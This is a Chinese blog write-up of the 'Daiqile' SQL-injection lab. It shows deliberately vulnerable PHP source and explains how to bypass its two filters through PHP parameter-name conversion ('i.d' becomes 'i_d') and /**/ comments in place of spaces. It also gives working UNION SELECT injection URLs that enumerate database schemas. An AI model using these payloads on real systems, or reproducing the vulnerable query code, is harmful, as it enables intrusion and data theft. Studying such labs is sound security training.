当前位置: 首页 > news >正文

Daiqile SQL注入绕过

上源码。

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';function dhtmlspecialchars($string) {if (is_array($string)) {foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);if (strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格// 经过第一个waf处理//i_d=1&i.d=aaaaa&submit=1foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);}// 经过第二个WAF处理//   var_dump($_SERVER['REQUEST_URI']);exit;$request_uri = explode("?", $_SERVER['REQUEST_URI']);//i_d=1&i.d=aaaaa&submit=1if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);//print_r($rewrite_url);exit;foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {//$_REQUEST[I_d]=-1 union select flag users$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}
//   $_REQUEST不能有恶意字符
// $_SERVER// 业务处理//?i_d&i.d=aaaaaaaif (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result=mysql_query($sql);while($row = mysql_fetch_array($result)){echo "<tr>";echo "<td>" . $row['username'] . "</td>";echo "</tr>";}}
?>

这是这个代码的第一个过滤,过滤了空格、括号这些。

这是第二个过滤,而这第二个过滤基本就给我们卡死了,因为他连select都给过滤了。

那么如果我能让一个无错的id走第二个过滤,然后要进行过滤的id走第一个过滤,只要稍加注意过滤点就能实现注入了。

那么该如何实现这种现象呢?

有一个就是php里i.d和i[d,它是可以把' . "和" [ "转换为" _ ",也就是说将会变成i_d,并且两个相同的变量在一起时,php会取最后一个。

既然这样,那就说明我们可以把无害的值进入第二个过滤函数里,绕过这个waf。

然后随着这一串代码对uri的分割,就可以知道,最后代码是把i_d这个值给取进去了,而i_d里的值就是我们的注入语句。

让我们来看看实现结果。

127.0.0.1/daiqile/index.php?submit=abc&i_d=-1%27/**/union/**/select/**/1,2,3&i.d=3

可以看出我们最后是注入成功了的,回显位在2号位。

127.0.0.1/daiqile/index.php?submit=abc&i_d=-1%27/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata&i.d=3

再使用limit进行修饰。

127.0.0.1/daiqile/index.php?submit=abc&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=3

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 八股面试大总结① —— 计算机网络篇
  • 【Android】JSON的具体使用方法之数据格式,数据解析,GSON的使用
  • 【总览】如何精读文献-经验分享
  • DC-5靶机渗透测试
  • 超赞!墙裂推荐这款开箱即用、永久免费的运维监控平台
  • Apple 智能基础语言模型
  • 【LVS】防火墙mark标记解决调度问题
  • 5、关于kali搭建vulhub
  • Datawhale X 魔搭 AI夏令营第四期 | AIGC文生图——可图Kolors-LoRA风格故事 Task1笔记
  • 雪花算法(Snowflake Algorithm)
  • C/C++字符串函数
  • LVS (Linux virual server)
  • 【ARM】ARM Cortex 处理器详细讲解
  • Upload 上传图标不显示
  • 【C#】StringComparer
  • 0基础学习移动端适配
  • dva中组件的懒加载
  • echarts花样作死的坑
  • E-HPC支持多队列管理和自动伸缩
  • ES6系统学习----从Apollo Client看解构赋值
  • JavaScript设计模式与开发实践系列之策略模式
  • js正则,这点儿就够用了
  • k个最大的数及变种小结
  • 基于Vue2全家桶的移动端AppDEMO实现
  • 技术攻略】php设计模式(一):简介及创建型模式
  • 理清楚Vue的结构
  • 聊聊directory traversal attack
  • 面试总结JavaScript篇
  • 使用 Xcode 的 Target 区分开发和生产环境
  • 使用Gradle第一次构建Java程序
  • 一加3T解锁OEM、刷入TWRP、第三方ROM以及ROOT
  • 一起来学SpringBoot | 第三篇:SpringBoot日志配置
  • SAP CRM里Lead通过工作流自动创建Opportunity的原理讲解 ...
  • 树莓派用上kodexplorer也能玩成私有网盘
  • ### Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLTr
  • #数据结构 笔记一
  • (CVPRW,2024)可学习的提示:遥感领域小样本语义分割
  • (MIT博士)林达华老师-概率模型与计算机视觉”
  • (亲测成功)在centos7.5上安装kvm,通过VNC远程连接并创建多台ubuntu虚拟机(ubuntu server版本)...
  • (十六)一篇文章学会Java的常用API
  • (四)Controller接口控制器详解(三)
  • (学习日记)2024.01.19
  • (转)IOS中获取各种文件的目录路径的方法
  • (转)visual stdio 书签功能介绍
  • (转载)Google Chrome调试JS
  • *上位机的定义
  • .gitignore文件忽略的内容不生效问题解决
  • .NET Framework 服务实现监控可观测性最佳实践
  • .Net FrameWork总结
  • .NET 设计模式初探
  • .NET 项目中发送电子邮件异步处理和错误机制的解决方案
  • .net6Api后台+uniapp导出Excel
  • .net利用SQLBulkCopy进行数据库之间的大批量数据传递
  • .net实现头像缩放截取功能 -----转载自accp教程网
  • [000-002-01].数据库调优相关学习